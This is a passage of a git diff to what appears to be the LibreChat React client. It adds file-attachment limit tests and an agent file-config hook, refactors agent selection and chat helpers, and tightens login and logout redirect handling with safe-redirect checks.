+ useLocalize: () => (key: string) => key,
+ useUpdateFiles: () => ({ addFile: mockAddFile }),
+}));
+
+jest.mock('~/data-provider', () => ({
+ useGetFileConfig: ({ select }: { select?: (d: unknown) => unknown }) => ({
+ data: select != null ? select(mockRawFileConfig) : mockRawFileConfig,
+ }),
+}));
+
+jest.mock('~/components/Chat/Input/Files/MyFilesModal', () => ({
+ MyFilesModal: () => null,
+}));
+
+jest.mock('../PanelFileCell', () => ({ row }: { row: { original: TFile } }) => (
+ {row.original?.filename}
+));
+
+function makeFile(overrides: Partial = {}): TFile {
+ return {
+ user: 'user-1',
+ file_id: 'file-1',
+ bytes: 1024,
+ embedded: false,
+ filename: 'test.pdf',
+ filepath: '/files/test.pdf',
+ object: 'file',
+ type: 'application/pdf',
+ usage: 0,
+ source: FileSources.local,
+ ...overrides,
+ };
+}
+
+function makeExtendedFile(overrides: Partial = {}): ExtendedFile {
+ return {
+ file_id: 'ext-1',
+ size: 1024,
+ progress: 1,
+ source: FileSources.local,
+ ...overrides,
+ };
+}
+
+function renderTable(data: TFile[]) {
+ return render( );
+}
+
+function clickFilenameCell() {
+ const cells = screen.getAllByRole('button');
+ const filenameCell = cells.find(
+ (cell) => cell.tagName === 'TD' && cell.textContent && !cell.textContent.includes('com_ui_'),
+ );
+ if (!filenameCell) {
+ throw new Error('Could not find filename cell with role="button" — check mock setup');
+ }
+ fireEvent.click(filenameCell);
+ return filenameCell;
+}
+
+describe('PanelTable handleFileClick', () => {
+ beforeEach(() => {
+ mockShowToast.mockClear();
+ mockAddFile.mockClear();
+ mockFiles = new Map();
+ mockConversation = { endpoint: 'openAI' };
+ mockRawFileConfig = {
+ endpoints: {
+ openAI: {
+ fileLimit: 5,
+ totalSizeLimit: 10,
+ supportedMimeTypes: ['application/pdf', 'text/plain'],
+ },
+ },
+ };
+ });
+
+ it('calls addFile when within file limits', () => {
+ const file = makeFile();
+ mockFileMap = { [file.file_id]: file };
+
+ renderTable([file]);
+ clickFilenameCell();
+
+ expect(mockAddFile).toHaveBeenCalledTimes(1);
+ expect(mockAddFile).toHaveBeenCalledWith(
+ expect.objectContaining({
+ file_id: file.file_id,
+ attached: true,
+ progress: 1,
+ }),
+ );
+ expect(mockShowToast).not.toHaveBeenCalledWith(expect.objectContaining({ status: 'error' }));
+ });
+
+ it('blocks attachment when fileLimit is reached', () => {
+ const file = makeFile({ file_id: 'new-file', filename: 'new.pdf' });
+ mockFileMap = { [file.file_id]: file };
+
+ mockFiles = new Map(
+ Array.from({ length: 5 }, (_, i) => [
+ `existing-${i}`,
+ makeExtendedFile({ file_id: `existing-${i}` }),
+ ]),
+ );
+
+ renderTable([file]);
+ clickFilenameCell();
+
+ expect(mockAddFile).not.toHaveBeenCalled();
+ expect(mockShowToast).toHaveBeenCalledWith(
+ expect.objectContaining({
+ message: expect.stringContaining('com_ui_attach_error_limit'),
+ status: 'error',
+ }),
+ );
+ });
+
+ it('blocks attachment when totalSizeLimit would be exceeded', () => {
+ const MB = 1024 * 1024;
+ const largeFile = makeFile({ file_id: 'large-file', bytes: 6 * MB });
+ mockFileMap = { [largeFile.file_id]: largeFile };
+
+ mockFiles = new Map([
+ ['existing-1', makeExtendedFile({ file_id: 'existing-1', size: 5 * MB })],
+ ]);
+
+ renderTable([largeFile]);
+ clickFilenameCell();
+
+ expect(mockAddFile).not.toHaveBeenCalled();
+ expect(mockShowToast).toHaveBeenCalledWith(
+ expect.objectContaining({
+ message: expect.stringContaining('com_ui_attach_error_total_size'),
+ status: 'error',
+ }),
+ );
+ });
+
+ it('does not double-count size of already-attached file', () => {
+ const MB = 1024 * 1024;
+ const file = makeFile({ file_id: 'reattach', bytes: 5 * MB });
+ mockFileMap = { [file.file_id]: file };
+
+ mockFiles = new Map([
+ ['reattach', makeExtendedFile({ file_id: 'reattach', size: 5 * MB })],
+ ['other', makeExtendedFile({ file_id: 'other', size: 4 * MB })],
+ ]);
+
+ renderTable([file]);
+ clickFilenameCell();
+
+ expect(mockAddFile).toHaveBeenCalledTimes(1);
+ expect(mockShowToast).not.toHaveBeenCalledWith(
+ expect.objectContaining({
+ message: expect.stringContaining('com_ui_attach_error_total_size'),
+ }),
+ );
+ });
+
+ it('allows attachment when just under fileLimit', () => {
+ const file = makeFile({ file_id: 'under-limit' });
+ mockFileMap = { [file.file_id]: file };
+
+ mockFiles = new Map(
+ Array.from({ length: 4 }, (_, i) => [
+ `existing-${i}`,
+ makeExtendedFile({ file_id: `existing-${i}` }),
+ ]),
+ );
+
+ renderTable([file]);
+ clickFilenameCell();
+
+ expect(mockAddFile).toHaveBeenCalledTimes(1);
+ });
+});
diff --git a/client/src/components/Web/__tests__/SourcesErrorBoundary.test.tsx b/client/src/components/Web/__tests__/SourcesErrorBoundary.test.tsx
index cc668cb61a..2cf509cd2c 100644
--- a/client/src/components/Web/__tests__/SourcesErrorBoundary.test.tsx
+++ b/client/src/components/Web/__tests__/SourcesErrorBoundary.test.tsx
@@ -1,3 +1,6 @@
+/**
+ * @jest-environment @happy-dom/jest-environment
+ */
import React from 'react';
import { render, screen, fireEvent } from '@testing-library/react';
import '@testing-library/jest-dom';
@@ -11,15 +14,6 @@ const ThrowError = ({ shouldThrow }: { shouldThrow: boolean }) => {
return {'Normal component'}
;
};
-// Mock window.location.reload
-const mockReload = jest.fn();
-Object.defineProperty(window, 'location', {
- value: {
- reload: mockReload,
- },
- writable: true,
-});
-
describe('SourcesErrorBoundary - NEW COMPONENT test', () => {
beforeEach(() => {
jest.clearAllMocks();
@@ -53,6 +47,8 @@ describe('SourcesErrorBoundary - NEW COMPONENT test', () => {
});
it('should reload page when refresh button is clicked', () => {
+ const reloadSpy = jest.spyOn(window.location, 'reload').mockImplementation(() => {});
+
render(
@@ -62,6 +58,6 @@ describe('SourcesErrorBoundary - NEW COMPONENT test', () => {
const refreshButton = screen.getByRole('button', { name: 'Reload the page' });
fireEvent.click(refreshButton);
- expect(mockReload).toHaveBeenCalled();
+ expect(reloadSpy).toHaveBeenCalled();
});
});
diff --git a/client/src/data-provider/Auth/mutations.ts b/client/src/data-provider/Auth/mutations.ts
index 298ddd9b64..9930e42b4f 100644
--- a/client/src/data-provider/Auth/mutations.ts
+++ b/client/src/data-provider/Auth/mutations.ts
@@ -68,14 +68,14 @@ export const useRefreshTokenMutation = (
/* User */
export const useDeleteUserMutation = (
- options?: t.MutationOptions,
-): UseMutationResult => {
+ options?: t.MutationOptions,
+): UseMutationResult => {
const queryClient = useQueryClient();
const clearStates = useClearStates();
const resetDefaultPreset = useResetRecoilState(store.defaultPreset);
return useMutation([MutationKeys.deleteUser], {
- mutationFn: () => dataService.deleteUser(),
+ mutationFn: (payload?: t.TDeleteUserRequest) => dataService.deleteUser(payload),
...(options || {}),
onSuccess: (...args) => {
resetDefaultPreset();
@@ -90,11 +90,11 @@ export const useDeleteUserMutation = (
export const useEnableTwoFactorMutation = (): UseMutationResult<
t.TEnable2FAResponse,
unknown,
- void,
+ t.TEnable2FARequest | undefined,
unknown
> => {
const queryClient = useQueryClient();
- return useMutation(() => dataService.enableTwoFactor(), {
+ return useMutation((payload?: t.TEnable2FARequest) => dataService.enableTwoFactor(payload), {
onSuccess: (data) => {
queryClient.setQueryData([QueryKeys.user, '2fa'], data);
},
@@ -146,15 +146,18 @@ export const useDisableTwoFactorMutation = (): UseMutationResult<
export const useRegenerateBackupCodesMutation = (): UseMutationResult<
t.TRegenerateBackupCodesResponse,
unknown,
- void,
+ t.TRegenerateBackupCodesRequest | undefined,
unknown
> => {
const queryClient = useQueryClient();
- return useMutation(() => dataService.regenerateBackupCodes(), {
- onSuccess: (data) => {
- queryClient.setQueryData([QueryKeys.user, '2fa', 'backup'], data);
+ return useMutation(
+ (payload?: t.TRegenerateBackupCodesRequest) => dataService.regenerateBackupCodes(payload),
+ {
+ onSuccess: (data) => {
+ queryClient.setQueryData([QueryKeys.user, '2fa', 'backup'], data);
+ },
},
- });
+ );
};
export const useVerifyTwoFactorTempMutation = (
diff --git a/client/src/hooks/Agents/index.ts b/client/src/hooks/Agents/index.ts
index f75d045cc0..a553da24a0 100644
--- a/client/src/hooks/Agents/index.ts
+++ b/client/src/hooks/Agents/index.ts
@@ -5,6 +5,7 @@ export type { ProcessedAgentCategory } from './useAgentCategories';
export { default as useAgentCapabilities } from './useAgentCapabilities';
export { default as useGetAgentsConfig } from './useGetAgentsConfig';
export { default as useAgentDefaultPermissionLevel } from './useAgentDefaultPermissionLevel';
+export { default as useAgentFileConfig } from './useAgentFileConfig';
export { default as useAgentToolPermissions } from './useAgentToolPermissions';
export { default as useMCPToolOptions } from './useMCPToolOptions';
export * from './useApplyModelSpecAgents';
diff --git a/client/src/hooks/Agents/useAgentFileConfig.ts b/client/src/hooks/Agents/useAgentFileConfig.ts
new file mode 100644
index 0000000000..7f98f8d575
--- /dev/null
+++ b/client/src/hooks/Agents/useAgentFileConfig.ts
@@ -0,0 +1,36 @@
+import { useWatch } from 'react-hook-form';
+import {
+ EModelEndpoint,
+ mergeFileConfig,
+ resolveEndpointType,
+ getEndpointFileConfig,
+} from 'librechat-data-provider';
+import type { EndpointFileConfig } from 'librechat-data-provider';
+import type { AgentForm } from '~/common';
+import { useGetFileConfig, useGetEndpointsQuery } from '~/data-provider';
+
+export default function useAgentFileConfig(): {
+ endpointType: EModelEndpoint | string | undefined;
+ providerValue: string | undefined;
+ endpointFileConfig: EndpointFileConfig;
+} {
+ const providerOption = useWatch({ name: 'provider' });
+ const { data: endpointsConfig } = useGetEndpointsQuery();
+ const { data: fileConfig = null } = useGetFileConfig({
+ select: (data) => mergeFileConfig(data),
+ });
+
+ const providerValue =
+ typeof providerOption === 'string'
+ ? providerOption
+ : (providerOption as { value?: string } | undefined)?.value;
+
+ const endpointType = resolveEndpointType(endpointsConfig, EModelEndpoint.agents, providerValue);
+ const endpointFileConfig = getEndpointFileConfig({
+ fileConfig,
+ endpointType,
+ endpoint: providerValue || EModelEndpoint.agents,
+ });
+
+ return { endpointType, providerValue, endpointFileConfig };
+}
diff --git a/client/src/hooks/Agents/useSelectAgent.ts b/client/src/hooks/Agents/useSelectAgent.ts
index 00c2753d93..30024c8f63 100644
--- a/client/src/hooks/Agents/useSelectAgent.ts
+++ b/client/src/hooks/Agents/useSelectAgent.ts
@@ -1,31 +1,29 @@
-import { useCallback, useState } from 'react';
+import { useCallback } from 'react';
import { useQueryClient } from '@tanstack/react-query';
import {
Constants,
QueryKeys,
+ dataService,
EModelEndpoint,
isAssistantsEndpoint,
} from 'librechat-data-provider';
import type { TConversation, TPreset, Agent } from 'librechat-data-provider';
+import useGetConversation from '~/hooks/Conversations/useGetConversation';
import useDefaultConvo from '~/hooks/Conversations/useDefaultConvo';
import { useAgentsMapContext } from '~/Providers/AgentsMapContext';
-import { useChatContext } from '~/Providers/ChatContext';
-import { useGetAgentByIdQuery } from '~/data-provider';
+import useNewConvo from '~/hooks/useNewConvo';
import { logger } from '~/utils';
export default function useSelectAgent() {
const queryClient = useQueryClient();
- const getDefaultConversation = useDefaultConvo();
- const { conversation, newConversation } = useChatContext();
const agentsMap = useAgentsMapContext();
- const [selectedAgentId, setSelectedAgentId] = useState(
- conversation?.agent_id ?? null,
- );
-
- const agentQuery = useGetAgentByIdQuery(selectedAgentId);
+ const getDefaultConversation = useDefaultConvo();
+ const { newConversation } = useNewConvo();
+ const getConversation = useGetConversation(0);
const updateConversation = useCallback(
- (agent: Partial, template: Partial) => {
+ async (agent: Partial, template: Partial) => {
+ const conversation = await getConversation();
logger.log('conversation', 'Updating conversation with agent', agent);
if (isAssistantsEndpoint(conversation?.endpoint)) {
newConversation({
@@ -44,7 +42,7 @@ export default function useSelectAgent() {
keepLatestMessage: true,
});
},
- [conversation, getDefaultConversation, newConversation],
+ [getConversation, getDefaultConversation, newConversation],
);
const onSelect = useCallback(
@@ -54,30 +52,22 @@ export default function useSelectAgent() {
return;
}
- setSelectedAgentId(agent.id);
-
const template: Partial = {
endpoint: EModelEndpoint.agents,
agent_id: agent.id,
conversationId: Constants.NEW_CONVO as string,
};
- updateConversation({ id: agent.id }, template);
+ await updateConversation({ id: agent.id }, template);
- // Fetch full agent data in the background
try {
- await queryClient.invalidateQueries(
- {
- queryKey: [QueryKeys.agent, agent.id],
- exact: true,
- refetchType: 'active',
- },
- { throwOnError: true },
+ const fullAgent = await queryClient.fetchQuery([QueryKeys.agent, agent.id], () =>
+ dataService.getAgentById({
+ agent_id: agent.id,
+ }),
);
-
- const { data: fullAgent } = await agentQuery.refetch();
if (fullAgent) {
- updateConversation(fullAgent, { ...template, agent_id: fullAgent.id });
+ await updateConversation(fullAgent, { ...template, agent_id: fullAgent.id });
}
} catch (error) {
if ((error as { silent: boolean } | undefined)?.silent) {
@@ -85,10 +75,10 @@ export default function useSelectAgent() {
return;
}
console.error('Error fetching full agent data:', error);
- updateConversation({}, { ...template, agent_id: undefined });
+ await updateConversation({}, { ...template, agent_id: undefined });
}
},
- [agentsMap, updateConversation, queryClient, agentQuery],
+ [agentsMap, updateConversation, queryClient],
);
return { onSelect };
diff --git a/client/src/hooks/Artifacts/__tests__/useArtifactProps.test.ts b/client/src/hooks/Artifacts/__tests__/useArtifactProps.test.ts
index f9f29e0c56..e46a285c50 100644
--- a/client/src/hooks/Artifacts/__tests__/useArtifactProps.test.ts
+++ b/client/src/hooks/Artifacts/__tests__/useArtifactProps.test.ts
@@ -112,7 +112,7 @@ describe('useArtifactProps', () => {
expect(result.current.files['content.md']).toBe('# No content provided');
});
- it('should provide marked-react dependency', () => {
+ it('should provide react-markdown dependency', () => {
const artifact = createArtifact({
type: 'text/markdown',
content: '# Test',
@@ -120,7 +120,9 @@ describe('useArtifactProps', () => {
const { result } = renderHook(() => useArtifactProps({ artifact }));
- expect(result.current.sharedProps.customSetup?.dependencies).toHaveProperty('marked-react');
+ expect(result.current.sharedProps.customSetup?.dependencies).toHaveProperty('react-markdown');
+ expect(result.current.sharedProps.customSetup?.dependencies).toHaveProperty('remark-gfm');
+ expect(result.current.sharedProps.customSetup?.dependencies).toHaveProperty('remark-breaks');
});
it('should update files when content changes', () => {
diff --git a/client/src/hooks/Artifacts/useArtifactProps.ts b/client/src/hooks/Artifacts/useArtifactProps.ts
index 2b898934c4..ce5e30cf5a 100644
--- a/client/src/hooks/Artifacts/useArtifactProps.ts
+++ b/client/src/hooks/Artifacts/useArtifactProps.ts
@@ -1,17 +1,21 @@
-import { useMemo } from 'react';
+import { useContext, useMemo } from 'react';
+import { ThemeContext, isDark } from '@librechat/client';
import { removeNullishValues } from 'librechat-data-provider';
import type { Artifact } from '~/common';
import { getKey, getProps, getTemplate, getArtifactFilename } from '~/utils/artifacts';
-import { getMermaidFiles } from '~/utils/mermaid';
import { getMarkdownFiles } from '~/utils/markdown';
+import { getMermaidFiles } from '~/utils/mermaid';
export default function useArtifactProps({ artifact }: { artifact: Artifact }) {
+ const { theme } = useContext(ThemeContext);
+ const isDarkMode = isDark(theme);
+
const [fileKey, files] = useMemo(() => {
const key = getKey(artifact.type ?? '', artifact.language);
const type = artifact.type ?? '';
if (key.includes('mermaid')) {
- return ['diagram.mmd', getMermaidFiles(artifact.content ?? '')];
+ return ['diagram.mmd', getMermaidFiles(artifact.content ?? '', isDarkMode)];
}
if (type === 'text/markdown' || type === 'text/md' || type === 'text/plain') {
@@ -23,7 +27,7 @@ export default function useArtifactProps({ artifact }: { artifact: Artifact }) {
[fileKey]: artifact.content,
});
return [fileKey, files];
- }, [artifact.type, artifact.content, artifact.language]);
+ }, [artifact.type, artifact.content, artifact.language, isDarkMode]);
const template = useMemo(
() => getTemplate(artifact.type ?? '', artifact.language),
diff --git a/client/src/hooks/Artifacts/useAutoScroll.ts b/client/src/hooks/Artifacts/useAutoScroll.ts
deleted file mode 100644
index 1ddb9feb98..0000000000
--- a/client/src/hooks/Artifacts/useAutoScroll.ts
+++ /dev/null
@@ -1,47 +0,0 @@
-// hooks/useAutoScroll.ts
-import { useEffect, useState } from 'react';
-
-interface UseAutoScrollProps {
- ref: React.RefObject;
- content: string;
- isSubmitting: boolean;
-}
-
-export const useAutoScroll = ({ ref, content, isSubmitting }: UseAutoScrollProps) => {
- const [userScrolled, setUserScrolled] = useState(false);
-
- useEffect(() => {
- const scrollContainer = ref.current;
- if (!scrollContainer) {
- return;
- }
-
- const handleScroll = () => {
- const { scrollTop, scrollHeight, clientHeight } = scrollContainer;
- const isNearBottom = scrollHeight - scrollTop - clientHeight < 50;
-
- if (!isNearBottom) {
- setUserScrolled(true);
- } else {
- setUserScrolled(false);
- }
- };
-
- scrollContainer.addEventListener('scroll', handleScroll);
-
- return () => {
- scrollContainer.removeEventListener('scroll', handleScroll);
- };
- }, [ref]);
-
- useEffect(() => {
- const scrollContainer = ref.current;
- if (!scrollContainer || !isSubmitting || userScrolled) {
- return;
- }
-
- scrollContainer.scrollTop = scrollContainer.scrollHeight;
- }, [content, isSubmitting, userScrolled, ref]);
-
- return { userScrolled };
-};
diff --git a/client/src/hooks/AuthContext.tsx b/client/src/hooks/AuthContext.tsx
index d9d583783a..c55980c0d2 100644
--- a/client/src/hooks/AuthContext.tsx
+++ b/client/src/hooks/AuthContext.tsx
@@ -3,7 +3,6 @@ import {
useMemo,
useState,
useEffect,
- ReactNode,
useContext,
useCallback,
createContext,
@@ -11,8 +10,14 @@ import {
import { debounce } from 'lodash';
import { useRecoilState } from 'recoil';
import { useNavigate } from 'react-router-dom';
-import { setTokenHeader, SystemRoles } from 'librechat-data-provider';
+import {
+ apiBaseUrl,
+ SystemRoles,
+ setTokenHeader,
+ buildLoginRedirectUrl,
+} from 'librechat-data-provider';
import type * as t from 'librechat-data-provider';
+import type { ReactNode } from 'react';
import {
useGetRole,
useGetUserQuery,
@@ -21,6 +26,7 @@ import {
useRefreshTokenMutation,
} from '~/data-provider';
import { TAuthConfig, TUserContext, TAuthContext, TResError } from '~/common';
+import { SESSION_KEY, isSafeRedirect, getPostLoginRedirect } from '~/utils';
import useTimeout from './useTimeout';
import store from '~/store';
@@ -33,11 +39,12 @@ const AuthContextProvider = ({
authConfig?: TAuthConfig;
children: ReactNode;
}) => {
+ const isExternalRedirectRef = useRef(false);
const [user, setUser] = useRecoilState(store.user);
+ const logoutRedirectRef = useRef(undefined);
const [token, setToken] = useState(undefined);
const [error, setError] = useState(undefined);
const [isAuthenticated, setIsAuthenticated] = useState(false);
- const logoutRedirectRef = useRef(undefined);
const { data: userRole = null } = useGetRole(SystemRoles.USER, {
enabled: !!(isAuthenticated && (user?.role ?? '')),
@@ -54,24 +61,25 @@ const AuthContextProvider = ({
const { token, isAuthenticated, user, redirect } = userContext;
setUser(user);
setToken(token);
- //@ts-ignore - ok for token to be undefined initially
setTokenHeader(token);
setIsAuthenticated(isAuthenticated);
- // Use a custom redirect if set
- const finalRedirect = logoutRedirectRef.current || redirect;
- // Clear the stored redirect
+ const searchParams = new URLSearchParams(window.location.search);
+ const postLoginRedirect = getPostLoginRedirect(searchParams);
+
+ const logoutRedirect = logoutRedirectRef.current;
logoutRedirectRef.current = undefined;
+ const finalRedirect =
+ logoutRedirect ??
+ postLoginRedirect ??
+ (redirect && isSafeRedirect(redirect) ? redirect : null);
+
if (finalRedirect == null) {
return;
}
- if (finalRedirect.startsWith('http://') || finalRedirect.startsWith('https://')) {
- window.location.href = finalRedirect;
- } else {
- navigate(finalRedirect, { replace: true });
- }
+ navigate(finalRedirect, { replace: true });
}, 50),
[navigate, setUser],
);
@@ -81,7 +89,6 @@ const AuthContextProvider = ({
onSuccess: (data: t.TLoginResponse) => {
const { user, token, twoFAPending, tempToken } = data;
if (twoFAPending) {
- // Redirect to the two-factor authentication route.
navigate(`/login/2fa?tempToken=${tempToken}`, { replace: true });
return;
}
@@ -91,16 +98,34 @@ const AuthContextProvider = ({
onError: (error: TResError | unknown) => {
const resError = error as TResError;
doSetError(resError.message);
- navigate('/login', { replace: true });
+ // Preserve a valid redirect_to across login failures so the deep link survives retries.
+ // Cannot use buildLoginRedirectUrl() here — it reads the current pathname (already /login)
+ // and would return plain /login, dropping the redirect_to destination.
+ const redirectTo = new URLSearchParams(window.location.search).get('redirect_to');
+ const loginPath =
+ redirectTo && isSafeRedirect(redirectTo)
+ ? `/login?redirect_to=${encodeURIComponent(redirectTo)}`
+ : '/login';
+ navigate(loginPath, { replace: true });
},
});
const logoutUser = useLogoutUserMutation({
onSuccess: (data) => {
+ if (data.redirect) {
+ /** data.redirect is the IdP's end_session_endpoint URL — an absolute URL generated
+ * server-side from trusted IdP metadata (not user input), so isSafeRedirect is bypassed.
+ * setUserContext is debounced (50ms) and won't fire before page unload, so clear the
+ * axios Authorization header synchronously to prevent in-flight requests. */
+ isExternalRedirectRef.current = true;
+ setTokenHeader(undefined);
+ window.location.replace(data.redirect);
+ return;
+ }
setUserContext({
token: undefined,
isAuthenticated: false,
user: undefined,
- redirect: data.redirect ?? '/login',
+ redirect: '/login',
});
},
onError: (error) => {
@@ -136,35 +161,60 @@ const AuthContextProvider = ({
console.log('Test mode. Skipping silent refresh.');
return;
}
+ if (isExternalRedirectRef.current) {
+ return;
+ }
refreshToken.mutate(undefined, {
onSuccess: (data: t.TRefreshTokenResponse | undefined) => {
+ if (isExternalRedirectRef.current) {
+ return;
+ }
const { user, token = '' } = data ?? {};
if (token) {
- setUserContext({ token, isAuthenticated: true, user });
- } else {
- console.log('Token is not present. User is not authenticated.');
- if (authConfig?.test === true) {
- return;
- }
- navigate('/login');
+ const storedRedirect = sessionStorage.getItem(SESSION_KEY);
+ sessionStorage.removeItem(SESSION_KEY);
+ const baseUrl = apiBaseUrl();
+ const rawPath = window.location.pathname;
+ const strippedPath =
+ baseUrl && (rawPath === baseUrl || rawPath.startsWith(baseUrl + '/'))
+ ? rawPath.slice(baseUrl.length) || '/'
+ : rawPath;
+ const currentUrl = `${strippedPath}${window.location.search}`;
+ const fallbackRedirect = isSafeRedirect(currentUrl) ? currentUrl : '/c/new';
+ const redirect =
+ storedRedirect && isSafeRedirect(storedRedirect) ? storedRedirect : fallbackRedirect;
+ setUserContext({ user, token, isAuthenticated: true, redirect });
+ return;
}
+ console.log('Token is not present. User is not authenticated.');
+ if (authConfig?.test === true) {
+ return;
+ }
+ navigate(buildLoginRedirectUrl());
},
onError: (error) => {
+ if (isExternalRedirectRef.current) {
+ return;
+ }
console.log('refreshToken mutation error:', error);
if (authConfig?.test === true) {
return;
}
- navigate('/login');
+ navigate(buildLoginRedirectUrl());
},
});
+ // eslint-disable-next-line react-hooks/exhaustive-deps -- deps are stable at mount; adding refreshToken causes infinite re-fire
}, []);
useEffect(() => {
+ if (isExternalRedirectRef.current) {
+ return;
+ }
if (userQuery.data) {
setUser(userQuery.data);
} else if (userQuery.isError) {
doSetError((userQuery.error as Error).message);
- navigate('/login', { replace: true });
+ navigate(buildLoginRedirectUrl(), { replace: true });
}
if (error != null && error && isAuthenticated) {
doSetError(undefined);
@@ -186,24 +236,22 @@ const AuthContextProvider = ({
]);
useEffect(() => {
- const handleTokenUpdate = (event) => {
+ const handleTokenUpdate = (event: CustomEvent) => {
console.log('tokenUpdated event received event');
- const newToken = event.detail;
setUserContext({
- token: newToken,
+ token: event.detail,
isAuthenticated: true,
user: user,
});
};
- window.addEventListener('tokenUpdated', handleTokenUpdate);
+ window.addEventListener('tokenUpdated', handleTokenUpdate as EventListener);
return () => {
- window.removeEventListener('tokenUpdated', handleTokenUpdate);
+ window.removeEventListener('tokenUpdated', handleTokenUpdate as EventListener);
};
}, [setUserContext, user]);
- // Make the provider update only when it should
const memoedValue = useMemo(
() => ({
user,
diff --git a/client/src/hooks/Chat/__tests__/useFocusChatEffect.spec.tsx b/client/src/hooks/Chat/__tests__/useFocusChatEffect.spec.tsx
index e0dbac5a1e..ba83b0aeb5 100644
--- a/client/src/hooks/Chat/__tests__/useFocusChatEffect.spec.tsx
+++ b/client/src/hooks/Chat/__tests__/useFocusChatEffect.spec.tsx
@@ -39,14 +39,12 @@ describe('useFocusChatEffect', () => {
state: { focusChat: true },
});
- // Mock window.location
- Object.defineProperty(window, 'location', {
- value: {
- pathname: '/c/new',
- search: '',
- },
- writable: true,
- });
+ // Set default window.location
+ window.history.replaceState({}, '', '/c/new');
+ });
+
+ afterEach(() => {
+ window.history.replaceState({}, '', '/');
});
describe('Basic functionality', () => {
@@ -115,14 +113,7 @@ describe('useFocusChatEffect', () => {
testDescription: string;
}) => {
test(`${testDescription}`, () => {
- // Mock window.location
- Object.defineProperty(window, 'location', {
- value: {
- pathname: '/c/new',
- search: windowLocationSearch,
- },
- writable: true,
- });
+ window.history.replaceState({}, '', `/c/new${windowLocationSearch}`);
// Mock React Router's location
(useLocation as jest.Mock).mockReturnValue({
@@ -144,13 +135,7 @@ describe('useFocusChatEffect', () => {
};
test('should use window.location.search instead of location.search', () => {
- Object.defineProperty(window, 'location', {
- value: {
- pathname: '/c/new',
- search: '?agent_id=test_agent_id',
- },
- writable: true,
- });
+ window.history.replaceState({}, '', '/c/new?agent_id=test_agent_id');
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new',
@@ -223,13 +208,7 @@ describe('useFocusChatEffect', () => {
});
test('should handle navigation immediately after URL parameter changes', () => {
- Object.defineProperty(window, 'location', {
- value: {
- pathname: '/c/new',
- search: '?endpoint=openAI&model=gpt-4',
- },
- writable: true,
- });
+ window.history.replaceState({}, '', '/c/new?endpoint=openAI&model=gpt-4');
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new',
@@ -249,13 +228,7 @@ describe('useFocusChatEffect', () => {
jest.clearAllMocks();
- Object.defineProperty(window, 'location', {
- value: {
- pathname: '/c/new',
- search: '?agent_id=agent123',
- },
- writable: true,
- });
+ window.history.replaceState({}, '', '/c/new?agent_id=agent123');
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new_changed',
@@ -275,13 +248,7 @@ describe('useFocusChatEffect', () => {
});
test('should handle undefined or null search params gracefully', () => {
- Object.defineProperty(window, 'location', {
- value: {
- pathname: '/c/new',
- search: undefined,
- },
- writable: true,
- });
+ window.history.replaceState({}, '', '/c/new');
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new',
@@ -301,14 +268,6 @@ describe('useFocusChatEffect', () => {
jest.clearAllMocks();
- Object.defineProperty(window, 'location', {
- value: {
- pathname: '/c/new',
- search: null,
- },
- writable: true,
- });
-
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new',
search: null,
@@ -327,13 +286,7 @@ describe('useFocusChatEffect', () => {
});
test('should handle navigation when location.state is null', () => {
- Object.defineProperty(window, 'location', {
- value: {
- pathname: '/c/new',
- search: '?agent_id=agent123',
- },
- writable: true,
- });
+ window.history.replaceState({}, '', '/c/new?agent_id=agent123');
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new',
@@ -348,13 +301,7 @@ describe('useFocusChatEffect', () => {
});
test('should handle navigation when location.state.focusChat is undefined', () => {
- Object.defineProperty(window, 'location', {
- value: {
- pathname: '/c/new',
- search: '?agent_id=agent123',
- },
- writable: true,
- });
+ window.history.replaceState({}, '', '/c/new?agent_id=agent123');
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new',
@@ -369,13 +316,7 @@ describe('useFocusChatEffect', () => {
});
test('should handle navigation when both search params are empty', () => {
- Object.defineProperty(window, 'location', {
- value: {
- pathname: '/c/new',
- search: '',
- },
- writable: true,
- });
+ window.history.replaceState({}, '', '/c/new');
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new',
diff --git a/client/src/hooks/Chat/useChatHelpers.ts b/client/src/hooks/Chat/useChatHelpers.ts
index 46d38d3a4d..219c370418 100644
--- a/client/src/hooks/Chat/useChatHelpers.ts
+++ b/client/src/hooks/Chat/useChatHelpers.ts
@@ -1,12 +1,11 @@
-import { useCallback, useState } from 'react';
+import { useCallback, useMemo, useRef, useState } from 'react';
import { QueryKeys, isAssistantsEndpoint } from 'librechat-data-provider';
import { useQueryClient } from '@tanstack/react-query';
import { useRecoilState, useResetRecoilState, useSetRecoilState } from 'recoil';
import type { TMessage } from 'librechat-data-provider';
import type { ActiveJobsResponse } from '~/data-provider';
-import { useGetMessagesByConvoId, useAbortStreamMutation } from '~/data-provider';
import useChatFunctions from '~/hooks/Chat/useChatFunctions';
-import { useAuthContext } from '~/hooks/AuthContext';
+import { useAbortStreamMutation } from '~/data-provider';
import useNewConvo from '~/hooks/useNewConvo';
import store from '~/store';
@@ -17,7 +16,6 @@ export default function useChatHelpers(index = 0, paramId?: string) {
const [filesLoading, setFilesLoading] = useState(false);
const queryClient = useQueryClient();
- const { isAuthenticated } = useAuthContext();
const abortMutation = useAbortStreamMutation();
const { newConversation } = useNewConvo(index);
@@ -29,15 +27,15 @@ export default function useChatHelpers(index = 0, paramId?: string) {
Falling back to conversationId (Recoil) only if paramId is not available */
const queryParam = paramId === 'new' ? paramId : (paramId ?? conversationId ?? '');
- /* Messages: here simply to fetch, don't export and use `getMessages()` instead */
-
- const { data: _messages } = useGetMessagesByConvoId(queryParam, {
- enabled: isAuthenticated,
- });
-
const resetLatestMessage = useResetRecoilState(store.latestMessageFamily(index));
const [isSubmitting, setIsSubmitting] = useRecoilState(store.isSubmittingFamily(index));
const [latestMessage, setLatestMessage] = useRecoilState(store.latestMessageFamily(index));
+
+ const latestMessageId = latestMessage?.messageId;
+ const latestMessageDepth = latestMessage?.depth;
+ const latestMessageRef = useRef(latestMessage);
+ latestMessageRef.current = latestMessage;
+
const setSiblingIdx = useSetRecoilState(
store.messagesSiblingIdxFamily(latestMessage?.parentMessageId ?? null),
);
@@ -77,7 +75,7 @@ export default function useChatHelpers(index = 0, paramId?: string) {
const setSubmission = useSetRecoilState(store.submissionByIndex(index));
